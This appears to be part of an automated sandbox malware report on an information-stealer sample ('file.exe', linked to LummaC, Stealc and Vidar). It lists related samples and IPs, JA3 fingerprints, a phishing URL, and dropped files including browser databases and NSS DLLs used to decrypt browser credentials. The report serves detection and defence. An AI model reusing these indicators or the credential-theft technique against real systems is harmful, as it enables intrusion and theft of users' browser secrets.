	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
RAYA-ASEG	x86.elf	Get hash	malicious	Mirai	Browse	105.198.23.179
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.148
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	hmips.elf	Get hash	malicious	Mirai	Browse	197.132.217.149
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	new.bat	Get hash	malicious	Unknown	Browse	23.218.232.146
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://profile.notification.best/communication.shtml?right=support@marylandstateboardofelections.zohodesk.com	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Ssc Executed Docs#962297(Revised).docx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	step_finalized_hcaptcha-bot-checking.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	iDvmIRCPBw.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	ZdXUGLQpoL.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	jaPB8q3WL1.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	yx7VCK1nxU.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	yF21ypxRB7.exe	Get hash	malicious	XWorm	Browse	40.113.110.67
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	40.113.110.67
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	40.113.110.67
	file.exe	Get hash	malicious	LummaC	Browse	40.113.110.67
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	40.113.110.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CGIJJKEHCAKEGCAKJKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAFCAAEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267279232651545
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumW:Kq+n0Jv91LyKOMq+8iP5GLP/0j
MD5:	CD3619AFEE05C06AE87A52DACFF5DDD3
SHA1:	EDD9FCCC988CB9078755A101B447824E9E21A085
SHA-256:	EEAB6CEDC6B21FDB2F1AC72796EF005B4BFA5699F31EE7A122F24CA93B4082BD
SHA-512:	5C8111F07F6171903E901BBE926B993DA96F0C37DB50FF22F657E08362ECABE5B2316C263641B7A3F0C78073D84A4FCC6EF07FC86BA382909CCA64F38DA08995
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFHJEBAAEBGDGDBFBGIEBAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHCBKFCFBFHIDHDBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIEBGIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJKJJDBKEGIECAAECFHCFBGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\176cc3c1-c43e-4db7-ad3a-ee1ba67e21d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46284
Entropy (8bit):	6.08770042350436
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQgxKOEti1zNtW92mwEi8PDLbQQkHX1hcCioiJDSgzMMd6qD47uV:CMk1rT8HRKVFL0THUFoitSmd6qE7Y
MD5:	B5106B0971CA95CBBE209BFBEB2DC227
SHA1:	2FE24E94AE43B252F3B8BFF479019F995BBF5E99
SHA-256:	81AD535F5EF8E37E9BDCB67174179D3EE54DF4BE1D32F8C18DE2DCA7D3A975E4
SHA-512:	5925C254561A1E60FE354FB40088B8E74FD95B820669490F6432D799C76A27E1B8AFAC276CFD62D47026F1F8A7B1D6042B4EAACB076A3AE4371F408F21BDADF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376359661465606","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"592f6634-3894-452f-a0f1-e34c95a0456e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\49bc42b6-5e20-41db-b6fe-858e481eb1e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46408
Entropy (8bit):	6.08733618338566
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQg7KOuti1zNtv2mwEi8PDLbQQkHX1hcCioiJDSgzMMd6qD47u3l:CMk1rT8HbKEL0THUFoitSmd6qE7Y
MD5:	F72978476F416E82562949662C747BC7
SHA1:	C64BD8ED1D902C07D7E72D6E2B679850DD05C1F9
SHA-256:	0D429C14201FC9D2B976ACC5BE9115021D9DAD1A1134F52E87CCEE0378DC1FF6
SHA-512:	6CECF36524390DFB1BDBC923EA68D3C6B86640A047DC3E8C6859B75B4475D18C2A6D8C0903B55827D83CD884394322E74A0663FAF9AD3DF14DFD9F79AA392DB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376359661465606","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"592f6634-3894-452f-a0f1-e34c95a0456e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\55f96821-536e-4701-a339-7f69d58d7ede.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095122051003018
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQOi1zNtWNLQy2+l2qKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynqHKtSmd6qE7lFoC
MD5:	B8549940862C27ECE586E5C3CB6C1F58
SHA1:	F668D0E3AC2E501B2EB3703F1227C0AA469B16D3
SHA-256:	37DBEC28AC304281D83B89A1F9DC98A48A4AFCD2530690E15DB7ABDE4F430F33
SHA-512:	5CCD065CBF9EB975239610BA6C72F7BF884C5D236BF8261E1E4C6D3FE44FA77B8D0E260284C98EE688B94B2047796AABD8FA871A7D16EB6494A23635A9716F79
Malicious:	false
